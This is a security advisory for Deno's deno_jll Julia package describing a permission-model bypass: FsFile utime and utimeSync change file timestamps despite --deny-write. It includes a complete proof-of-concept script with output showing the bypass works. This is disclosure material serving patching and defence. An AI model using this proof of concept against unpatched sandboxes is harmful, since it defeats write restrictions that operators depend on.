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3.3

Deno's --deny-write check does not prevent permission bypass

JLSEC-2026-111
Summary

### Summary

`Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync` are not limited by the permission model check `--deny-write=./`.

It's possible to change to change the access (`atime`) and modification (`mtime`) times on the file stream resource even when the file is opened with `re...

What to do
  • Update deno_jll to version 2.6.3+0.
Affected software
Ecosystem VendorProductAffected versions
Julia deno_jll < 2.6.3+0
Fix: upgrade to 2.6.3+0
Original title
Deno's --deny-write check does not prevent permission bypass
Original description
### Summary

`Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync` are not limited by the permission model check `--deny-write=./`.

It's possible to change to change the access (`atime`) and modification (`mtime`) times on the file stream resource even when the file is opened with `read` only permission (and `write`: `false`) and file write operations are not allowed (the script is executed with `--deny-write=./`).

Similar APIs like `Deno.utime` and `Deno.utimeSync` require `allow-write` permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (`atime`) and modification (`mtime`) times, and thus bypass the permission model.

### PoC

Setup:

```
deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3

touch test.txt
```

```js
// touch test.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
async function poc1(){
using file = await Deno.open("./test.txt", { read: true, write: false});

const fileInfoBefore = await file.stat();

await file.utime(new Date("2000-01-01"), new Date("2000-01-01"));

const fileInfoAfter = await file.stat();


console.log(`BEFORE (utime)`)
console.log(new Date(fileInfoBefore.mtime).getFullYear())
console.log(new Date(fileInfoBefore.atime).getFullYear())


console.log(`AFTER (utime)`)
console.log(new Date(fileInfoAfter.mtime).getFullYear())
console.log(new Date(fileInfoAfter.atime).getFullYear())
}


// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
function poc2(){
using file = Deno.openSync("./test.txt", { read: true, write: false});

const fileInfoBefore = file.statSync();

file.utimeSync(new Date("2001-01-01"), new Date("2001-01-01"));

const fileInfoAfter = file.statSync();


console.log(`BEFORE (utimeSync)`)
console.log(new Date(fileInfoBefore.mtime).getFullYear())
console.log(new Date(fileInfoBefore.atime).getFullYear())


console.log(`AFTER (utimeSync)`)
console.log(new Date(fileInfoAfter.mtime).getFullYear())
console.log(new Date(fileInfoAfter.atime).getFullYear())
}

// https://docs.deno.com/api/deno/~/Deno.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
async function poc3(){
// not executed
await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}

// https://docs.deno.com/api/deno/~/Deno.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4
function poc4(){
// not executed
Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}


async function main(){
const poc = Deno.args[0] || 1;

const status = await Deno.permissions.query({ name: "write", path: "./" });
console.log(status);
switch (poc) {
case "1":
poc1()
break;
case "2":
poc2()
break;
case "3":
poc3()
break;
case "4":
poc4()
break;
default:
poc1()
}
}

main()
```

Output:

- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1`

```
PermissionStatus { state: "denied", onchange: null }
BEFORE (utime)
2025
2025
AFTER (utime)
2000
2000
```

- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2`

```
PermissionStatus { state: "denied", onchange: null }
BEFORE (utimeSync)
2000
2000
AFTER (utimeSync)
2001
2001
```

- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3`

```
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag
await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
^
...
```

- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4`

```
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag
Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
^
...
```

### Impact

Permission model bypass
osv CVSS3.1 3.3
Published: 14 Apr 2026 · Updated: 14 Apr 2026 · First seen: 14 Apr 2026